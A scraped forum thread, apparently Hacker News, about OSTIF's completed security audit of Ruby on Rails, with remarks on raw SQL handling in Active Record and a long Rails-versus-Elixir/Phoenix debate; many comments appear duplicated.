Ruby on Rails Audit Complete(ostif.org)
ostif.org
Ruby on Rails Audit Complete
https://ostif.org/ruby-on-rails-audit-complete/
170 comments
Some good recommendations. Feedback on this one:
> "X41 recommends to disallow the creation of un-escaped SqlLiteral objects with user input in favor of a complete model of SQL"
Rails already has a sufficient model of SQL in its Arel layer. Complete? Not exactly, because SQL is never implemented by the standard, but certainly sufficient, and very composable and extensible. Sadly the core team killed off the public documentation of Arel a few majors ago. Nevertheless I still use Arel whenever Active Record doesn't expose enough of the model, such as expressing left-open intervals as inequalities¹. Sometimes incorrectly called a "private API", but it's not anyone's private possession, Arel is just undocumented in recent releases.
The recommendation's language is also just a touch naive, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby, there's no isolated sandbox. The question is what incentives are in place to stop them wanting to.
Active Record already has excellent support for bound values via the predicate builder, and it's only egregiously bad code that concatenates raw user-supplied values directly into query strings. Nevertheless for those few remaining places in the API where this could happen inadvertently such as #calculate, a variant recommendation - similar in spirit, but not identical - might be that where it doesn't already, Active Record treats raw strings supplied as requiring escape unless explictly wrapped with Arel.sql(), or just accept an Arel node/AST (many already do on the QT). That is, force the developer to confess their sin in writing, or do it relationally.
But IMO the wizards shouldn't keep Arel locked up in the tower, either.
[1] https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9be...
> "X41 recommends to disallow the creation of un-escaped SqlLiteral objects with user input in favor of a complete model of SQL"
Rails already has a sufficient model of SQL in its Arel layer. Complete? Not exactly, because SQL is never implemented by the standard, but certainly sufficient, and very composable and extensible. Sadly the core team killed off the public documentation of Arel a few majors ago. Nevertheless I still use Arel whenever Active Record doesn't expose enough of the model, such as expressing left-open intervals as inequalities¹. Sometimes incorrectly called a "private API", but it's not anyone's private possession, Arel is just undocumented in recent releases.
The recommendation's language is also just a touch naive, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby, there's no isolated sandbox. The question is what incentives are in place to stop them wanting to.
Active Record already has excellent support for bound values via the predicate builder, and it's only egregiously bad code that concatenates raw user-supplied values directly into query strings. Nevertheless for those few remaining places in the API where this could happen inadvertently such as #calculate, a variant recommendation - similar in spirit, but not identical - might be that where it doesn't already, Active Record treats raw strings supplied as requiring escape unless explictly wrapped with Arel.sql(), or just accept an Arel node/AST (many already do on the QT). That is, force the developer to confess their sin in writing, or do it relationally.
But IMO the wizards shouldn't keep Arel locked up in the tower, either.
[1] https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9be...
> The recommendation is also a touch naive as framed, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby
Sure but defaults matter.
Nothing is truly private in most languages. In C/C++, you can poke raw memory. In rust you can transmute. In Java you can override the classloader and edit classes before they’re passed to the JVM and so on. But most environments have a golden path for getting things done which most developers will walk. This is exactly what removing documentation does - it signals to developers that some API isn’t part of the expected golden path.
Every sql library needs ways to pass raw sql strings to the database. (Just as every browser framework needs a way to embed raw html strings). But it should require you to explicitly acknowledge you’re doing something unsafe. Rust’s unsafe keyword. React’s unsafelySetInnerHTML, and so on. It’s not about denying it. It’s about making the obvious thing safe and the unsafe thing not obvious.
Sure but defaults matter.
Nothing is truly private in most languages. In C/C++, you can poke raw memory. In rust you can transmute. In Java you can override the classloader and edit classes before they’re passed to the JVM and so on. But most environments have a golden path for getting things done which most developers will walk. This is exactly what removing documentation does - it signals to developers that some API isn’t part of the expected golden path.
Every sql library needs ways to pass raw sql strings to the database. (Just as every browser framework needs a way to embed raw html strings). But it should require you to explicitly acknowledge you’re doing something unsafe. Rust’s unsafe keyword. React’s unsafelySetInnerHTML, and so on. It’s not about denying it. It’s about making the obvious thing safe and the unsafe thing not obvious.
> This is exactly what removing documentation does - it signals to developers that some API isn’t part of the expected golden path.
What an insane statement. "Knowledge is bad for you, dummy"?
What an insane statement. "Knowledge is bad for you, dummy"?
I have no idea how you got that weird statement from my comment.
> Rails application server (e.g., Puma, Unicorn)
I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements.
It's a minor nitpick.
I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements.
It's a minor nitpick.
Thats good news! I'm a huge fan or Rails but a little surprised of such little vulnerabilities tbh. Would have expected more for such large codebase. But happy to hear it aint!
I don't think it's meant to be a complete audit of the codebase, and in fact this is alluded to in the final report [0] (though the wording is strange—perhaps they forgot to update it from an earlier report):
> Due to the size of Ruby on Rails, it will not be possible to cover all the tests and tasks in the following test plan. The tests performed will be covered in the final report along with suggestions on what to focus on in future audits.
I feel like these sorts of audits are usually performed on individual applications rather than "mature" already widely used frameworks. I've got the sense that they are meant to give confidence that the developers knew what they were doing (since they focus on typical vulnerabilities that good developers should know about), rather than proving anything about the code base. Still better than nothing.
[0] Section 3.7, https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit...
> Due to the size of Ruby on Rails, it will not be possible to cover all the tests and tasks in the following test plan. The tests performed will be covered in the final report along with suggestions on what to focus on in future audits.
I feel like these sorts of audits are usually performed on individual applications rather than "mature" already widely used frameworks. I've got the sense that they are meant to give confidence that the developers knew what they were doing (since they focus on typical vulnerabilities that good developers should know about), rather than proving anything about the code base. Still better than nothing.
[0] Section 3.7, https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit...
Thank you for clearing this up!
Wordpress is similar. The core project is quite battle tested, but the plugin ecosystem opens admins up to problems. With any system that allows modular code additions, the weakest attack area gets exponentially larger.
I'm glad to see efforts towards improving Ruby on Rails security, it honestly keeps the framework still the most viable choice.
It's funny that Rails generates params for parameters passed to it for GET, HEAD and DELETE requests, even though it shouldn't. I think I've noticed this before when debugging but never thought much of it. In a poorly coded application (e.g. globally detecting params on in a `before_action`) it definitely could be become an issue.
The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
After programming with elixir and phoenix for a few years (with many prior years of rails experience) I have a hard time seeing why one would choose rails.
Elixir is more performant, has compiler safety guarantees that are only getting better as types are introduced, is actually designed from the ground up for web dev (being based on the Erlang VM), and... it's just way more fun (subjective I know). Elixir is what I always wished Ruby was, and I couldn't be more excited about the coming type inference.
Programming with Elixir makes me feel like Ruby is a previous generation language, much like Ruby made me feel that way about Cobol or Fortran, it really is that stark.
Elixir is more performant, has compiler safety guarantees that are only getting better as types are introduced, is actually designed from the ground up for web dev (being based on the Erlang VM), and... it's just way more fun (subjective I know). Elixir is what I always wished Ruby was, and I couldn't be more excited about the coming type inference.
Programming with Elixir makes me feel like Ruby is a previous generation language, much like Ruby made me feel that way about Cobol or Fortran, it really is that stark.
> is actually designed from the ground up for web dev (being based on the Erlang VM)
Nit: this makes it sounds like the BEAM was designed for web dev, which it was not. Erlang came out of Ericsson and was built for telecoms (OTP stands for Open Telecom Platform), which is where its unique set of trade-offs comes from. Many of those trade-offs make a ton of sense for web but that's not because it was designed for web, it's because there's overlap between the fields.
One way to see the difference between telecoms and web is to ask yourself when was the last time that you were working on a project with an availability SLA of 9 nines (1/3 of a second of downtime per year) or even 6 nines (32s per year). Some web dev has that, but most doesn't come close, and if that's not you then Erlang wasn't built for you (though you may still find you like it for other reasons!).
Nit: this makes it sounds like the BEAM was designed for web dev, which it was not. Erlang came out of Ericsson and was built for telecoms (OTP stands for Open Telecom Platform), which is where its unique set of trade-offs comes from. Many of those trade-offs make a ton of sense for web but that's not because it was designed for web, it's because there's overlap between the fields.
One way to see the difference between telecoms and web is to ask yourself when was the last time that you were working on a project with an availability SLA of 9 nines (1/3 of a second of downtime per year) or even 6 nines (32s per year). Some web dev has that, but most doesn't come close, and if that's not you then Erlang wasn't built for you (though you may still find you like it for other reasons!).
Very true it is actually designed for telecoms, but like you mentioned the distinction is so small it's not really even a stretch to say it is purpose built with at least the general architecture of web in mind.
In the grand scheme of things, if we're considering everything from web to bridge building, yeah, the distinction is small. But within the world of software engineering specifically it's not all that small and it's worth being precise when we're talking about it.
Whatsapp and telecoms have a lot in common, so no one questions that they benefited a ton from the BEAM.
Airbnb, though? The main similarity is that they both send large quantities of signal over wires.
Again, none of this is to stop you from liking the BEAM, but when we're talking about professional software engineering it pays to be explicit about what the design constraints were for the products that you're using so that you can make sure that your own design constraints are not in conflict with theirs.
Whatsapp and telecoms have a lot in common, so no one questions that they benefited a ton from the BEAM.
Airbnb, though? The main similarity is that they both send large quantities of signal over wires.
Again, none of this is to stop you from liking the BEAM, but when we're talking about professional software engineering it pays to be explicit about what the design constraints were for the products that you're using so that you can make sure that your own design constraints are not in conflict with theirs.
no. in the modern web world you often have persistent client server connections, which make it a distributed system out the gate. the most inefficient way to deal with this is to go stateless, and without smart architecture to deal with unreliable connection, it's really your best choice (and, it's fine).
since BEAM gives you smart disconnection handling, web stuff built in elixir gives you the ability to build on client-server distributed without too much headache and with good defaults.
but look, if you want a concrete example of why this sucks. how much do you hate it when you push changes to your PR on github and the CI checks on browser tab are still not updated with the new CI that has been triggered? you've got to refresh first.
if they had built github in elixir instead of ruby would almost certainly have this sync isdur solved. in maybe two or three lines of code.
since BEAM gives you smart disconnection handling, web stuff built in elixir gives you the ability to build on client-server distributed without too much headache and with good defaults.
but look, if you want a concrete example of why this sucks. how much do you hate it when you push changes to your PR on github and the CI checks on browser tab are still not updated with the new CI that has been triggered? you've got to refresh first.
if they had built github in elixir instead of ruby would almost certainly have this sync isdur solved. in maybe two or three lines of code.
And if you need that kind of persistent immediately reactive connection and are willing to pay the price, go for it! If that's truly a requirement for you then you're in the subset of web that overlaps substantially with telecoms.
I'm not cautioning against making the calculated decision that realtime is a core requirement and choosing the BEAM accordingly. I'm cautioning against positioning the BEAM as being designed for web use cases in general, which it's not.
Many projects, including GitHub, do not need that kind of immediate reactivity and would not have benefited enough from the BEAM to be worth the trade-offs involved. A single example of a UX flow that could be made slightly better by rearchitecting for realtime isn't sufficient reason to justify an entirely different architecture. Engineering is about trade-offs, and too often in our field we fall for "when all you have is a hammer". Realtime architectures are one tool in a toolbox, and they aren't even the most frequently needed tool.
I'm not cautioning against making the calculated decision that realtime is a core requirement and choosing the BEAM accordingly. I'm cautioning against positioning the BEAM as being designed for web use cases in general, which it's not.
Many projects, including GitHub, do not need that kind of immediate reactivity and would not have benefited enough from the BEAM to be worth the trade-offs involved. A single example of a UX flow that could be made slightly better by rearchitecting for realtime isn't sufficient reason to justify an entirely different architecture. Engineering is about trade-offs, and too often in our field we fall for "when all you have is a hammer". Realtime architectures are one tool in a toolbox, and they aren't even the most frequently needed tool.
"willing to pay the price"
what price? learning a new language that is designed to be learned from the one you already know with fewer footguns? ok fine.
but you make it seem like going to elixir is some kind of heavy lift or requires a devops team or something. the lift is low: for example i run a bespoke elixir app in my home on my local network for co2 monitoring.
and for that purpose (maybe 300 lines of code? yes, i do want reactivity. wrangling longpoll for that does not sound fun to me.
what price? learning a new language that is designed to be learned from the one you already know with fewer footguns? ok fine.
but you make it seem like going to elixir is some kind of heavy lift or requires a devops team or something. the lift is low: for example i run a bespoke elixir app in my home on my local network for co2 monitoring.
and for that purpose (maybe 300 lines of code? yes, i do want reactivity. wrangling longpoll for that does not sound fun to me.
To name just a few costs that aren't worth it for many businesses:
* A much smaller ecosystem of libraries to draw from.
* Much weaker editor tooling than with more established languages.
* An entirely different paradigm for deployments, monitoring, and everything else that falls under "operations" that may be incompatible with the existing infrastructure in the organization.
* When something does go wrong, using a weird stack means you have less institutional knowledge to lean on and fewer resources from people who've been doing the same thing as you.
* A whole new set of foot guns to dodge and UX problems to solve related to what happens when someone's connection is poor. This has come up repeatedly in discussions of Phoenix LiveView—what you get in reactivity comes at the expense of having to work harder to engineer for spotty connections than you would with a request/response model.
* More difficulty hiring people, and an increased tendency when hiring for selecting people who are really just obsessed with a particular tool and unwilling to see when the situation calls for something else.
There are many more, these are just the ones I can think of without having a concrete application with concrete requirements to analyze. In the end for most apps reactivity is so much a "nice to have" that it's hardly worth sacrificing the stability and predictability of the established option for moderately better support for that one aspect of UX, especially given that you can always add reactivity later if you need to at a slightly higher cost than it would have come at with Erlang.
If reactivity is a core requirement, that's a different story. If it's polish, don't choose your architecture around it.
* A much smaller ecosystem of libraries to draw from.
* Much weaker editor tooling than with more established languages.
* An entirely different paradigm for deployments, monitoring, and everything else that falls under "operations" that may be incompatible with the existing infrastructure in the organization.
* When something does go wrong, using a weird stack means you have less institutional knowledge to lean on and fewer resources from people who've been doing the same thing as you.
* A whole new set of foot guns to dodge and UX problems to solve related to what happens when someone's connection is poor. This has come up repeatedly in discussions of Phoenix LiveView—what you get in reactivity comes at the expense of having to work harder to engineer for spotty connections than you would with a request/response model.
* More difficulty hiring people, and an increased tendency when hiring for selecting people who are really just obsessed with a particular tool and unwilling to see when the situation calls for something else.
There are many more, these are just the ones I can think of without having a concrete application with concrete requirements to analyze. In the end for most apps reactivity is so much a "nice to have" that it's hardly worth sacrificing the stability and predictability of the established option for moderately better support for that one aspect of UX, especially given that you can always add reactivity later if you need to at a slightly higher cost than it would have come at with Erlang.
If reactivity is a core requirement, that's a different story. If it's polish, don't choose your architecture around it.
When José Valim “moved on” from Ruby development to work on Elixir, his fans followed.
It’s a bit like true believers switching faiths when their leader changes religions.
It’s hard to make sense of it from the outside looking in, but it’s definitely a thing that happened historically and occurs in small and big ways even today.
It’s a bit like true believers switching faiths when their leader changes religions.
It’s hard to make sense of it from the outside looking in, but it’s definitely a thing that happened historically and occurs in small and big ways even today.
i had never heard of jose until i started working in elixir. i had about two years of grueling ruby experience[0] and boy was elixir an amazing breath of fresh air.
what is also a thing is stockholm syndrome and sunk cost fallacy.
[0] ok, now that i think about it also this was when ruby was having serious 1.84-2.0 transition troubles and i had difficulty reinstalling ruby if i needed to redo the os because some python wheel broke everything, so i had other historical reasons to leave ruby with a bad taste in my mouth. i think my gripes about activerecord are real, though.
what is also a thing is stockholm syndrome and sunk cost fallacy.
[0] ok, now that i think about it also this was when ruby was having serious 1.84-2.0 transition troubles and i had difficulty reinstalling ruby if i needed to redo the os because some python wheel broke everything, so i had other historical reasons to leave ruby with a bad taste in my mouth. i think my gripes about activerecord are real, though.
> in the modern web world you often have persistent client server connections
Is this actually true though? I’d be interested if you know any data backing that perspective. I only know what I’ve worked on and my anecdotal experience doesn’t match with this statement. But I know my sphere doesn’t represent the whole. In terms of state, by now there are many ways of dealing with persistence and reconnection. Not only are most of those problems solved with existing technologies and protocols but they’re everywhere in web dev. Maybe we’re talking past each other? Did I misunderstand your point?
Is this actually true though? I’d be interested if you know any data backing that perspective. I only know what I’ve worked on and my anecdotal experience doesn’t match with this statement. But I know my sphere doesn’t represent the whole. In terms of state, by now there are many ways of dealing with persistence and reconnection. Not only are most of those problems solved with existing technologies and protocols but they’re everywhere in web dev. Maybe we’re talking past each other? Did I misunderstand your point?
I switched fully to elixir close to a decade ago now and library availability is still lagging. For pretty much any company I can be pretty sure there will be JS/Ruby/Python/C#/Java integrations/libraries and occasionally you'll find one for elixir maintained by someone that stopped responding to github issues 3 years ago.
It's definitely better but I can definitely see why you'd still choose rails these days.
It's definitely better but I can definitely see why you'd still choose rails these days.
I agree with this sentiment, though in practice it doesn't seem to be much of an issue the vast majority of the time. Sometimes you do need that niche library though, and end up forking and updating for your needs.
Given how rarely this comes up it feels like a tolerable problem that will only diminish as Elixir adoption continues to increase; I am aware of many rail shops that are slowly and quietly switching everything to Elixir, and it feels like that snowball continues to pick up pace as Elixir improves and those libraries are created.
Given how rarely this comes up it feels like a tolerable problem that will only diminish as Elixir adoption continues to increase; I am aware of many rail shops that are slowly and quietly switching everything to Elixir, and it feels like that snowball continues to pick up pace as Elixir improves and those libraries are created.
It may come up rarely for you but for my workflow I hit into it at least once a month and if you're a new user you will hit into it more frequently as they initially port stuff over. I'm not sure what the solution is and it obviously hasn't been enough to keep me out of the ecosystem but it is something that is noticeably worse.
I have a very extensive experience with both Ruby on Rails and Elixir/Phoenix. Also ended up building large full-stack apps on either framework.
In the beginning when Ruby on Rails said hello to me, I instantly fell in love with it and the simplicity and the natural semantics that flow with it. It was absurdly easy to write new features and ship them to production. As the codebase grew and the team grew we started running into situations where APIs broke, or to trace the workflow of things in terms of finding where methods came from, finding parent modules of modules, and finding their parents, configuration, and I started to note a general lack of IDE autocomplete and type-safety.
Then after a few years I jumped ship to Elixir and if felt like a breath of clean air when I had to learn FP. Everything was simple enough to understand. Performance knocks Elixir, Node, Python and any other interpreted stack out of the water. The Phoenix framework was, and is said to be thoughtfully designed and although there was no IDE support, we still had Elixir LS which was great enough to provide realtime guidance, linting and type safety during compile time. I was able to ship a very large app into production and it was bulletproof. The problem with Elixir was our other engineers struggled to shift away from Node, or any other stacks they already knew. They found the entire FP world to be weird. Hell, I found it weird too at times. Simple mutations of maps and arrays, that would be trivial in Ruby ended up being so complex in Elixir. In the end it felt like my team was not on the same page. I guess Elixir would be great if you ran a 3-person team or something, but since we were not, we got back to Ruby. In today's world though, I am largely looking at Go, for a backend system. IDE support is up there with Java, and the ecosystem is old and mature enough to find any package that you look for. Performance is C-like and learning curve is lean.
Just my 2c with all these platforms.
In the beginning when Ruby on Rails said hello to me, I instantly fell in love with it and the simplicity and the natural semantics that flow with it. It was absurdly easy to write new features and ship them to production. As the codebase grew and the team grew we started running into situations where APIs broke, or to trace the workflow of things in terms of finding where methods came from, finding parent modules of modules, and finding their parents, configuration, and I started to note a general lack of IDE autocomplete and type-safety.
Then after a few years I jumped ship to Elixir and if felt like a breath of clean air when I had to learn FP. Everything was simple enough to understand. Performance knocks Elixir, Node, Python and any other interpreted stack out of the water. The Phoenix framework was, and is said to be thoughtfully designed and although there was no IDE support, we still had Elixir LS which was great enough to provide realtime guidance, linting and type safety during compile time. I was able to ship a very large app into production and it was bulletproof. The problem with Elixir was our other engineers struggled to shift away from Node, or any other stacks they already knew. They found the entire FP world to be weird. Hell, I found it weird too at times. Simple mutations of maps and arrays, that would be trivial in Ruby ended up being so complex in Elixir. In the end it felt like my team was not on the same page. I guess Elixir would be great if you ran a 3-person team or something, but since we were not, we got back to Ruby. In today's world though, I am largely looking at Go, for a backend system. IDE support is up there with Java, and the ecosystem is old and mature enough to find any package that you look for. Performance is C-like and learning curve is lean.
Just my 2c with all these platforms.
I was working with Go a lot as something complementary to Ruby/Rails. I have ended up with so much Ruby work. Either maintenance of large successful efforts from years ago, new development for those same companies, or new development from the people who have experienced great success with Ruby on Rails. I can't seem to get away from it, and that's just fine.
At this point, I putting together teams and getting new developers into Ruby on Rails. I'm also seeing companies move back to full stack RoR after the luster of React has worn off. Also, modern RoR can get you so far now with a fraction of the dual framework headaches of a RoR backend/JS frontend.
At this point, I putting together teams and getting new developers into Ruby on Rails. I'm also seeing companies move back to full stack RoR after the luster of React has worn off. Also, modern RoR can get you so far now with a fraction of the dual framework headaches of a RoR backend/JS frontend.
Great to hear. I agree - all the react/SPA bloat along with other layers like Vite/SSR/Webpack etc. is not needed for 95% of the apps today.
Any MVC framework with HTMX, JQuery (yes)/Hotwire/Stimulus/Turbo, etc. puts the productivity and deployment speed of the front-end setup above to extreme shame.
Any MVC framework with HTMX, JQuery (yes)/Hotwire/Stimulus/Turbo, etc. puts the productivity and deployment speed of the front-end setup above to extreme shame.
Rails has more baked in for the typical crud app. Example:
Try to create a way for people to upload documents like images and PDFs and documents. Okay easy enough on both platforms and I want you to generate a preview for each of those files so that people can easily find those files. Now I want you to add pagination. Now I want you to add column sorting so that people can sort by file size or by name or by upload date. Finally I want you to add a search field. Going by the way all of this stuff needs to live in the URL so that you can bookmark all the different you know choices you've made.
The stuff is pretty trivial and rails but in elixir you would have to bake it all yourself very boring code that doesn't really matter. This is why I chose to build my startups admin dashboard in rails despite our main production API being an elixir.
Try to create a way for people to upload documents like images and PDFs and documents. Okay easy enough on both platforms and I want you to generate a preview for each of those files so that people can easily find those files. Now I want you to add pagination. Now I want you to add column sorting so that people can sort by file size or by name or by upload date. Finally I want you to add a search field. Going by the way all of this stuff needs to live in the URL so that you can bookmark all the different you know choices you've made.
The stuff is pretty trivial and rails but in elixir you would have to bake it all yourself very boring code that doesn't really matter. This is why I chose to build my startups admin dashboard in rails despite our main production API being an elixir.
LiveView uploads are baked in, previews and all. Everything else you list is included in the Flop library, if you want something off the shelf. In rails you are still including Kaminari or whatever other gems for all this too, so this is really no different.
Check out ash-hq.org they are basically building the data side framework to handle all those things and it works great with Phoenix.
Extremely risky tbh I would have an extremely hard time if I go off path or need to hire someone. It would be almost negligence to choose it unfortunately
It's the opposite since it standardises everything as oppose to roll your own.
If you need to hire someone you'd need to train them on your system no matter what, with a framework you can use their documentation to explain where things are and how they work.
If you need to hire someone you'd need to train them on your system no matter what, with a framework you can use their documentation to explain where things are and how they work.
Elixir is already a small fraction of a small and shrinking community (Rails). Ash is a tiny fraction of an already tiny fraction. I cannot imagine defending this choice to anyone unless I was literally the CEO of a company and answered only to myself.
Ash does look badass though!
Ash does look badass though!
Elixir really needs to lose the perception, if there is one, of it being a subset of the Ruby/Rails community. It's true that the initial influx of Elixir developers came from the Ruby world back when Elixir was new, but that was a long time ago. Tons of Elixir folk come into it nowadays without a Ruby background.
Elixir and Ruby really aren't that similar anyway. The syntax differences are very superficial - Elixir's a functional language with very style and semantics to Ruby, and that's even before you get into the magic of OTP and the BEAM, for which Ruby has nothing comparable.
Elixir and Ruby really aren't that similar anyway. The syntax differences are very superficial - Elixir's a functional language with very style and semantics to Ruby, and that's even before you get into the magic of OTP and the BEAM, for which Ruby has nothing comparable.
I didn't mean that elixir engineers all come from Ruby I was just using Ruby as an example sample size because that is what I'm familiar with.
It doesn't really matter though. You have to train new staff on your systems/code base no matter what you use. So if they don't already know ash it's the exact same as if you didn't use it. Only now you can point them at the ash docs and buy them the ash book and they'll know where everything in your system goes.
I've been using Elixir for over 10 years, if it was ever a "small fraction of the Rails community" it was during its formative years only. Elixir is fully its own thing. We don't even really talk about Ruby? I really do think you've got a mixed up perception on that front
Even José himself says that Ruby's influence on Elixir is overstated: https://news.ycombinator.com/item?id=36604054
Rails might be 90% better for webdev than the rest while Elixir might be 95% better. Talk about diminishing returns.
Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Of course, you also have that to some degree in Rails but it is much less pronounced.
Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Of course, you also have that to some degree in Rails but it is much less pronounced.
> Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Is this actually a problem you see? I'm going on 15 years in the industry and haven't seen any issues training people up on a new language in just a couple months.
If you need an expert in some library or language to make meaningful business progress I feel like that says more about whatever tool or language you're using, and I simply don't see that with phoenix or elixir in the years I've worked with it.
Is this actually a problem you see? I'm going on 15 years in the industry and haven't seen any issues training people up on a new language in just a couple months.
If you need an expert in some library or language to make meaningful business progress I feel like that says more about whatever tool or language you're using, and I simply don't see that with phoenix or elixir in the years I've worked with it.
I feel like the sentiment of “we can train a competent dev in our language and stack” has given way to “we want a dev with proven experience in our language/stack” over the last few years. I suspect this has something to do with more non-technical staff being put in between candidates and the engineers they’ll be working with during the hiring process. These non-technical staff rely on “x years of experience in thing” to know if a person might be competent at that thing.
I think that this is one of the reasons networking is becoming more and more important, because it lets a candidate demonstrate their generally-applicable development skills to a fellow engineer who is capable of making qualitative engineering judgements.
I think that this is one of the reasons networking is becoming more and more important, because it lets a candidate demonstrate their generally-applicable development skills to a fellow engineer who is capable of making qualitative engineering judgements.
yeah, and sometime it getting really ridicules: N years of experience in language doesn't count if no libraries from approved list was used.
> Is this actually a problem you see? I'm going on 15 years in the industry and haven't seen any issues training people up on a new language in just a couple months.
Some years ago the largest company using Elixir in the US, or at least on the west coast, abandoned Elixir because they couldn't find enough developers.
Yes. The adoption is poor despite the loud voices.
Some years ago the largest company using Elixir in the US, or at least on the west coast, abandoned Elixir because they couldn't find enough developers.
Yes. The adoption is poor despite the loud voices.
Just curious, what company? Disclosure: I work at a large Elixir company in the US.
That's so disappointing to hear. I have an intern who hadn't touched Elixir 4 weeks ago who is already making meaningful PRs. She's done the PragProg courses and leans a bit on Copilot/Claude, but she's proving how quickly one can get up to speed on the language and contribute. To hear that a major company couldn't bring resources up to speed, to me, shows a failure of the organization, not the language or ecosystem.
The Ruby on Rails project I'm currently involved in doesn't struggle with training people, but rather with retaining them. There have been a few instances where we trained a junior developer and got them up to speed, only to lose them within a year. For small teams, this can be quite frustrating and disheartening.
This issue might be partly due to the project being in a somewhat niche and conservative industry, so there are no startup vibes. However, since they started looking for someone ready to make a longer commitment than a developer who has just started their career, things have improved. But this approach also limits the pool of available developers.
It's worth noting that we also use Elixir in this project (the chief architect is quite fanboyish about it), but we have never had any new developers come in with pre-existing knowledge of Elixir.
This issue might be partly due to the project being in a somewhat niche and conservative industry, so there are no startup vibes. However, since they started looking for someone ready to make a longer commitment than a developer who has just started their career, things have improved. But this approach also limits the pool of available developers.
It's worth noting that we also use Elixir in this project (the chief architect is quite fanboyish about it), but we have never had any new developers come in with pre-existing knowledge of Elixir.
> Add in problems finding developers skilled in Elixir and Phoenix and the small available libraries.
Since the last 12-15 months, every Elixir job posted gets literal hundreds of applications. Just saying.
Since the last 12-15 months, every Elixir job posted gets literal hundreds of applications. Just saying.
> I have a hard time seeing why one would choose rails
I like Ruby, and I feel it has significantly prettier syntax, to me, than Elixir. So that’s a big reason why I also like rails.
I like Ruby, and I feel it has significantly prettier syntax, to me, than Elixir. So that’s a big reason why I also like rails.
It's a matter of taste, but i found Ruby syntax to be annoyingly inconsistent, and do |..| ... end being something that isn't quite a lambda a huge source of confusion.
also activerecord doing "trust me bro" things behind the scenes (like pluralization) drove me up the wall.
to be fair ecto does a small bit of this too, but at least it doesn't change spellings (so you can global search an identifier).
also activerecord doing "trust me bro" things behind the scenes (like pluralization) drove me up the wall.
to be fair ecto does a small bit of this too, but at least it doesn't change spellings (so you can global search an identifier).
If you're looking for something to invest in for the long term I think Rails wins by a mile. They have the funding, investment and strong companies dependent on it to keep it marching forward - both the framework and surrounding libraries
Fortran nowadays is fairly ergonomic and modern.
In terms of successors there’s maybe Julia, or otherwise you’d have to use Python or Matlab/Octave, with all that going to a scripting language entails. In any case it doesn’t really feel like there’s been a replacement.
In terms of successors there’s maybe Julia, or otherwise you’d have to use Python or Matlab/Octave, with all that going to a scripting language entails. In any case it doesn’t really feel like there’s been a replacement.
Elixir is a great language, but it lacks a framework as polished and full-featured as Rails. Phoenix could have been far more popular if it had something like Active Record.
Many Rails developers try Phoenix at some point because they may need better performance. They’re so accustomed to the Rails structure that they assume Rails has done everything right. However, Ecto and ActiveRecord are two very different beasts. When Rails developers try out Ecto, they often feel there’s too much boilerplate and believe the Rails design is much more intuitive. This, I think, is one reason Phoenix struggles to attract Rails developers. If it can’t please Rails users, it will rarely appeal to others.
Ecto
Ecto was literally the component I liked less in all the Phoenix stack when I worked with it after a dozen of years of Rails.
I did maybe 5 years of Phoenix for a customer of mine and went back to Rails for another customer. It's good enough and overall Rails is easier to deploy IMHO. Capistrano vs I don't remember what.
I did maybe 5 years of Phoenix for a customer of mine and went back to Rails for another customer. It's good enough and overall Rails is easier to deploy IMHO. Capistrano vs I don't remember what.
Oh man, this must just be subjective because I find Ecto to be beautiful compared to the absolute trainwreck of Activerecord. Having compile time guarantees through Ecto is wonderful.
Yes, that must be the case because if my customers and I would care about compile time guarantees we would not be working with Ruby.
In that years long Phoenix project one of the developers on the team added dialyzer type annotations to the functions in the files he worked on. Everybody else did not bother. The project ended up with no type checking. The service run and the company did well.
Overall using Phoenix was a good experience. I never used Elixir in any other project and never for my own programs. I use several other languages for my own little scripts, mainly bash, Ruby, Python and Lua. I think that I really like dynamic typing.
In that years long Phoenix project one of the developers on the team added dialyzer type annotations to the functions in the files he worked on. Everybody else did not bother. The project ended up with no type checking. The service run and the company did well.
Overall using Phoenix was a good experience. I never used Elixir in any other project and never for my own programs. I use several other languages for my own little scripts, mainly bash, Ruby, Python and Lua. I think that I really like dynamic typing.
As someone who has used elixir for startups and loves it, the benefit of Rails for a startup is that it's easier to pick up. html/live projects can create more confusing layouts, which can make it harder to learn if you're trying to get something running. Rails is a great framework to use if you're primary product is not a website, but you need a website.
It'd be nice if IEx command history search and recall worked, but it doesn't. ):
Where is the 15 min make a simple blog with minimal code video for Elixir?
Twitter clone in 15 minutes: https://www.youtube.com/watch?v=MZvmYaFkNJI
Thanks for the link, Rickety Cricket.
Benchmarks of Phoenix vs Rails.
https://www.techempower.com/benchmarks/#section=data-r23&f=z...
Ranging from 1.5-3.5x faster.
https://www.techempower.com/benchmarks/#section=data-r23&f=z...
Ranging from 1.5-3.5x faster.
https://www.techempower.com/benchmarks/#section=data-r23&l=z...
I thought to include other implementation from Ruby and Elixir. Rails has always been doing much more and on the heavier side of things. There are also many test that simply by switching server to iodine brings the performance to Elixir / Phoenix level.
I thought to include other implementation from Ruby and Elixir. Rails has always been doing much more and on the heavier side of things. There are also many test that simply by switching server to iodine brings the performance to Elixir / Phoenix level.
These benchmarks will be forever amusing. I've done two full migrations of a Rails app to Phoenix and the differences we've seen in our telemetry boards ranged anywhere from 4.5x all the way to 20x.
IMO TechEmpower lost all credibility long time ago after it was demonstrated they do nothing against heavily gamed benchmarks where people literally do basic string matching against regexes instead of doing proper HTTP parsing. Some even relied on characters being at exact positions.
Add to this how slow they were to adopt normal production application code changes to Elixir apps where it was proven that the author of the benchmark had no idea how to code an Elixir/Phoenix app and yeah, it does not look good for TechEmpower.
All that being said, use what you like (some even expressed the confusing stance of "I like Ruby's syntax more" which, need I even comment how unprofessional that is?). But to claim Elixir is just some mere 2x times faster than Ruby is misguided. My real production experience from the last 10 years says this is bull.
IMO TechEmpower lost all credibility long time ago after it was demonstrated they do nothing against heavily gamed benchmarks where people literally do basic string matching against regexes instead of doing proper HTTP parsing. Some even relied on characters being at exact positions.
